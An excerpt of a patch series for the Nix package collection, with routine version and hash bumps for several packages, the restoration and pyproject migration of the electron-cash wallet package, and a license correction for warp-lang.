20:59:55 +0000 Subject: [PATCH 383/390] python3Packages.test2ref: 1.1.0 -> 1.1.1 --- pkgs/development/python-modules/test2ref/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/test2ref/default.nix b/pkgs/development/python-modules/test2ref/default.nix index 355372aac8bc..4401694c22e6 100644 --- a/pkgs/development/python-modules/test2ref/default.nix +++ b/pkgs/development/python-modules/test2ref/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "test2ref"; - version = "1.1.0"; + version = "1.1.1"; pyproject = true; src = fetchFromGitHub { owner = "nbiotcloud"; repo = "test2ref"; tag = "v${version}"; - hash = "sha256-m95undMr1W2GRcSELv7s9kpuXyu+HnGo+huc0Uh9rQI="; + hash = "sha256-Lo0rXKpiXGZle6X2f2Zofc/ihzAqruDyKNP4wp2jqv4="; }; build-system = [ From ab839d685a1f69a8e80b7e0cbd41781f05300932 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 22:24:22 +0000 Subject: [PATCH 384/390] libretro.citra: 0-unstable-2025-05-17 -> 0-unstable-2025-06-22 --- pkgs/applications/emulators/libretro/cores/citra.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/applications/emulators/libretro/cores/citra.nix b/pkgs/applications/emulators/libretro/cores/citra.nix index 45356270486a..0ea38a2711d4 100644 --- a/pkgs/applications/emulators/libretro/cores/citra.nix +++ b/pkgs/applications/emulators/libretro/cores/citra.nix @@ -9,13 +9,13 @@ }: mkLibretroCore { core = "citra"; - version = "0-unstable-2025-05-17"; + version = "0-unstable-2025-06-22"; src = fetchFromGitHub { owner = "libretro"; repo = "citra"; - rev = "8e634afee9e870620b40efedaef77478cd1f3c99"; - hash = "sha256-pf0fgamSg2OHxvft36+Y4wPF9hjyZOQXEtMWs0dkNRM="; + rev = "176214934cd46d6e072adcbda5f676bc4ca3162e"; + hash = "sha256-cdBR64OBOGMy0ROR89mbKXC0xk+QkBHUKEkIn2czGiQ="; fetchSubmodules = true; }; From 87d607781866ac0490e83bd9647a34591a6ea05b Mon Sep 17 00:00:00 2001 From: oxalica Date: Tue, 24 Jun 2025 18:21:24 -0400 Subject: [PATCH 385/390] Revert "electron-cash: remove" (partially) This reverts commit cf5d8bd81d871d8a6daf2da62bd11cced11c1520. I am using it and has always been the maintainer of it. --- pkgs/by-name/el/electron-cash/package.nix | 111 ++++++++++++++++++++++ pkgs/top-level/aliases.nix | 1 - 2 files changed, 111 insertions(+), 1 deletion(-) create mode 100644 pkgs/by-name/el/electron-cash/package.nix diff --git a/pkgs/by-name/el/electron-cash/package.nix b/pkgs/by-name/el/electron-cash/package.nix new file mode 100644 index 000000000000..687582778618 --- /dev/null +++ b/pkgs/by-name/el/electron-cash/package.nix @@ -0,0 +1,111 @@ +{ + lib, + stdenv, + fetchFromGitHub, + python3Packages, + qt5, + secp256k1, +}: + +python3Packages.buildPythonApplication rec { + pname = "electron-cash"; + version = "4.4.2"; + + src = fetchFromGitHub { + owner = "Electron-Cash"; + repo = "Electron-Cash"; + tag = version; + sha256 = "sha256-hqaPxetS6JONvlRMjNonXUGFpdmnuadD00gcPzY07x0="; + }; + + build-system = with python3Packages; [ + cython + ]; + + propagatedBuildInputs = with python3Packages; [ + # requirements + pyaes + ecdsa + requests + qrcode + protobuf + jsonrpclib-pelix + pysocks + qdarkstyle + python-dateutil + stem + certifi + pathvalidate + dnspython + bitcoinrpc + + # requirements-binaries + pyqt5 + psutil + pycryptodomex + cryptography + zxing-cpp + + # requirements-hw + trezor + keepkey + btchip-python + hidapi + pyopenssl + pyscard + pysatochip + ]; + + nativeBuildInputs = [ qt5.wrapQtAppsHook ]; + + buildInputs = [ ] ++ lib.optional stdenv.hostPlatform.isLinux qt5.qtwayland; + + # If secp256k1 wasn't added to the library path, the following warning is given: + # + # Electron Cash was unable to find the secp256k1 library on this system. + # Elliptic curve cryptography operations will be performed in slow + # Python-only mode. + # + # Upstream hardcoded `libsecp256k1.so.0` where we provides + # `libsecp256k1.so.5`. The only breaking change is the removal of two + # functions which seem not used by electron-cash. + # See: + postPatch = '' + substituteInPlace setup.py \ + --replace-fail "(share_dir" '("share"' + substituteInPlace electroncash/secp256k1.py \ + --replace-fail "libsecp256k1.so.0" "${secp256k1}/lib/libsecp256k1.so.5" + ''; + + preFixup = '' + makeWrapperArgs+=("''${qtWrapperArgs[@]}") + ''; + + doInstallCheck = true; + installCheckPhase = '' + output="$($out/bin/electron-cash help 2>&1)" + if [[ "$output" == *"failed to load"* ]]; then + echo "$output" + echo "Forbidden text detected: failed to load" + exit 1 + fi + ''; + + meta = { + description = "Bitcoin Cash SPV Wallet"; + mainProgram = "electron-cash"; + longDescription = '' + An easy-to-use Bitcoin Cash client featuring wallets generated from + mnemonic seeds (in addition to other, more advanced, wallet options) + and the ability to perform transactions without downloading a copy + of the blockchain. + ''; + homepage = "https://www.electroncash.org/"; + platforms = lib.platforms.unix; + maintainers = with lib.maintainers; [ + nyanloutre + oxalica + ]; + license = lib.licenses.mit; + }; +} diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix index fda28c60bc70..dd8921c4472e 100644 --- a/pkgs/top-level/aliases.nix +++ b/pkgs/top-level/aliases.nix @@ -595,7 +595,6 @@ mapAliases { eidolon = throw "eidolon was removed as it is unmaintained upstream."; # Added 2025-05-28 eintopf = lauti; # Project was renamed, added 2025-05-01 elasticsearch7Plugins = elasticsearchPlugins; - electron-cash = throw "'electron-cash' has been removed due to lack of maintenance."; # Added 2025-06-17 electronplayer = throw "'electronplayer' has been removed as it had been discontinued upstream since October 2024"; # Added 2024-12-17 element-desktop-wayland = throw "element-desktop-wayland has been removed. Consider setting NIXOS_OZONE_WL=1 via 'environment.sessionVariables' instead"; # Added 2024-12-17 From ee58f6cafa16a5f75ef9d382f457f36ccfb6f130 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Tue, 24 Jun 2025 19:21:12 +0000 Subject: [PATCH 386/390] opentofu: 1.9.1 -> 1.10.0 --- pkgs/by-name/op/opentofu/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/op/opentofu/package.nix b/pkgs/by-name/op/opentofu/package.nix index 6e7352c977d9..f44fa377132b 100644 --- a/pkgs/by-name/op/opentofu/package.nix +++ b/pkgs/by-name/op/opentofu/package.nix @@ -15,16 +15,16 @@ let package = buildGoModule rec { pname = "opentofu"; - version = "1.9.1"; + version = "1.10.0"; src = fetchFromGitHub { owner = "opentofu"; repo = "opentofu"; tag = "v${version}"; - hash = "sha256-YZMv17fnvzgzm35MXFkvMc5JAuPnyapa41H8Ob4t88c="; + hash = "sha256-4/Z09iJK37ofWKLQ9+uUitkcGfMBTYzunOOeDZjrDOM="; }; - vendorHash = "sha256-avfyMwYv8nKLCUHSExsPvYQrt9sMKZNPHFB/YFGQs2s="; + vendorHash = "sha256-npMGiUIDhp4n7nKMWeyq+TDggU1xm5RzQrGOxvzWcnI="; ldflags = [ "-s" "-w" From 12fe7d250721b50212fc16d2dd4131215962e010 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Wed, 25 Jun 2025 00:47:50 +0200 Subject: [PATCH 387/390] home-assistant: 2025.6.2 -> 2026.6.3 https://github.com/home-assistant/core/releases/tag/2025.6.3 --- pkgs/servers/home-assistant/component-packages.nix | 2 +- pkgs/servers/home-assistant/default.nix | 6 +++--- pkgs/servers/home-assistant/frontend.nix | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/pkgs/servers/home-assistant/component-packages.nix b/pkgs/servers/home-assistant/component-packages.nix index a30b759c63f0..a1d8c19189e8 100644 --- a/pkgs/servers/home-assistant/component-packages.nix +++ b/pkgs/servers/home-assistant/component-packages.nix @@ -2,7 +2,7 @@ # Do not edit! { - version = "2025.6.2"; + version = "2025.6.3"; components = { "3_day_blinds" = ps: with ps; [ diff --git a/pkgs/servers/home-assistant/default.nix b/pkgs/servers/home-assistant/default.nix index 2d2b22448073..9796326cfe74 100644 --- a/pkgs/servers/home-assistant/default.nix +++ b/pkgs/servers/home-assistant/default.nix @@ -386,7 +386,7 @@ let extraBuildInputs = extraPackages python.pkgs; # Don't forget to run update-component-packages.py after updating - hassVersion = "2025.6.2"; + hassVersion = "2025.6.3"; in python.pkgs.buildPythonApplication rec { @@ -407,13 +407,13 @@ python.pkgs.buildPythonApplication rec { owner = "home-assistant"; repo = "core"; tag = version; - hash = "sha256-5+L687sUD+e8F9UYnFURSUMG2/USuOpNu5a9By0yZ/g="; + hash = "sha256-3fv0WjZ3guiHCoMFEwjPEVHdswRqCweghKxd9ZBf86w="; }; # Secondary source is pypi sdist for translations sdist = fetchPypi { inherit pname version; - hash = "sha256-DLqP9/b68ikGuxrvFiJCqguE2WgnKP0HtiU2X7tUbkE="; + hash = "sha256-ybPpuWrNFhpnwuLsFcJQJd7PBiOWl24yHLODzCgVcps="; }; build-system = with python.pkgs; [ diff --git a/pkgs/servers/home-assistant/frontend.nix b/pkgs/servers/home-assistant/frontend.nix index bb35c97d4b06..17454d8f3eeb 100644 --- a/pkgs/servers/home-assistant/frontend.nix +++ b/pkgs/servers/home-assistant/frontend.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { # the frontend version corresponding to a specific home-assistant version can be found here # https://github.com/home-assistant/home-assistant/blob/master/homeassistant/components/frontend/manifest.json pname = "home-assistant-frontend"; - version = "20250531.3"; + version = "20250531.4"; format = "wheel"; src = fetchPypi { @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "home_assistant_frontend"; dist = "py3"; python = "py3"; - hash = "sha256-FmG7Ym85KwE76s+srHzcGM2p5hh56X7cZOBZu4Gr4mM="; + hash = "sha256-bNUEWJSLMmwVnfeM445Qp817/lXpiRwKncFImWd+8Dc="; }; # there is nothing to strip in this package From 0ccdb32d4f63c8114237a627b16c109966b8086c Mon Sep 17 00:00:00 2001 From: oxalica Date: Tue, 24 Jun 2025 19:11:29 -0400 Subject: [PATCH 388/390] electron-cash: use pyproject = true --- pkgs/by-name/el/electron-cash/package.nix | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/el/electron-cash/package.nix b/pkgs/by-name/el/electron-cash/package.nix index 687582778618..b8c8b6b05fb7 100644 --- a/pkgs/by-name/el/electron-cash/package.nix +++ b/pkgs/by-name/el/electron-cash/package.nix @@ -10,6 +10,7 @@ python3Packages.buildPythonApplication rec { pname = "electron-cash"; version = "4.4.2"; + pyproject = true; src = fetchFromGitHub { owner = "Electron-Cash"; @@ -20,9 +21,10 @@ python3Packages.buildPythonApplication rec { build-system = with python3Packages; [ cython + setuptools ]; - propagatedBuildInputs = with python3Packages; [ + dependencies = with python3Packages; [ # requirements pyaes ecdsa @@ -60,7 +62,7 @@ python3Packages.buildPythonApplication rec { buildInputs = [ ] ++ lib.optional stdenv.hostPlatform.isLinux qt5.qtwayland; - # If secp256k1 wasn't added to the library path, the following warning is given: + # 1. If secp256k1 wasn't added to the library path, the following warning is given: # # Electron Cash was unable to find the secp256k1 library on this system. # Elliptic curve cryptography operations will be performed in slow @@ -70,11 +72,17 @@ python3Packages.buildPythonApplication rec { # `libsecp256k1.so.5`. The only breaking change is the removal of two # functions which seem not used by electron-cash. # See: + # + # 2. The code should be compatible with python-dateutil 2.10 which is the + # version we have in nixpkgs. Changelog: + # postPatch = '' substituteInPlace setup.py \ --replace-fail "(share_dir" '("share"' substituteInPlace electroncash/secp256k1.py \ --replace-fail "libsecp256k1.so.0" "${secp256k1}/lib/libsecp256k1.so.5" + substituteInPlace contrib/requirements/requirements.txt \ + --replace-fail "python-dateutil<2.9" "python-dateutil<2.10" ''; preFixup = '' From fdea1899a92f837647cc6b8f84bbc67947d130ee Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Wed, 25 Jun 2025 01:49:36 +0200 Subject: [PATCH 389/390] evcc: 0.204.3 -> 0.204.5 https://github.com/evcc-io/evcc/releases/tag/0.204.5 --- pkgs/by-name/ev/evcc/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ev/evcc/package.nix b/pkgs/by-name/ev/evcc/package.nix index 9a9e72519aa1..3b648c3d1614 100644 --- a/pkgs/by-name/ev/evcc/package.nix +++ b/pkgs/by-name/ev/evcc/package.nix @@ -17,13 +17,13 @@ }: let - version = "0.204.3"; + version = "0.204.5"; src = fetchFromGitHub { owner = "evcc-io"; repo = "evcc"; tag = version; - hash = "sha256-Z8Fac1vIBUJ34hXgOOAo8z91lBCKw+IP1Ff6r+jBtj0="; + hash = "sha256-kGn7O2OCvStez2eaT+h7EDBi96Q7dshK8X7DUD2SBOo="; }; vendorHash = "sha256-n67OSKpMhvgqftoVAqtABfcNgdRSbWjmJv7HSmv3Ev8="; @@ -52,7 +52,7 @@ buildGo124Module rec { npmDeps = fetchNpmDeps { inherit src; - hash = "sha256-6oFvrLY5OM+5YgWRlx28+z2yB+Vo/SkV6ZsD3r3Ckis="; + hash = "sha256-HDokBgvRxmKkuQyGIqkX0Hy4Up+K25yYSRYAstE8mBY="; }; nativeBuildInputs = [ From 63ff97187b5c81d46f219163c3ebe1455c5d9e4b Mon Sep 17 00:00:00 2001 From: Connor Baker Date: Tue, 24 Jun 2025 23:52:08 +0000 Subject: [PATCH 390/390] python3Packages.warp-lang: correct licenses for libmathdx Signed-off-by: Connor Baker --- pkgs/development/python-modules/warp-lang/default.nix | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/pkgs/development/python-modules/warp-lang/default.nix b/pkgs/development/python-modules/warp-lang/default.nix index 6cc8c8aaaa0c..b544581e9055 100644 --- a/pkgs/development/python-modules/warp-lang/default.nix +++ b/pkgs/development/python-modules/warp-lang/default.nix @@ -97,7 +97,12 @@ let # Some of the libmathdx routines were written by or derived # from code written by Meta Platforms, Inc. and affiliates and # are subject to the BSD License. - bsd + bsd3 + + # Some of the libmathdx routines were written by or derived from + # code written by Victor Zverovich and are subject to the following + # license: + mit ]; platforms = with lib.platforms; linux ++ [ "x86_64-windows" ]; maintainers = with lib.maintainers; [ yzx9 ];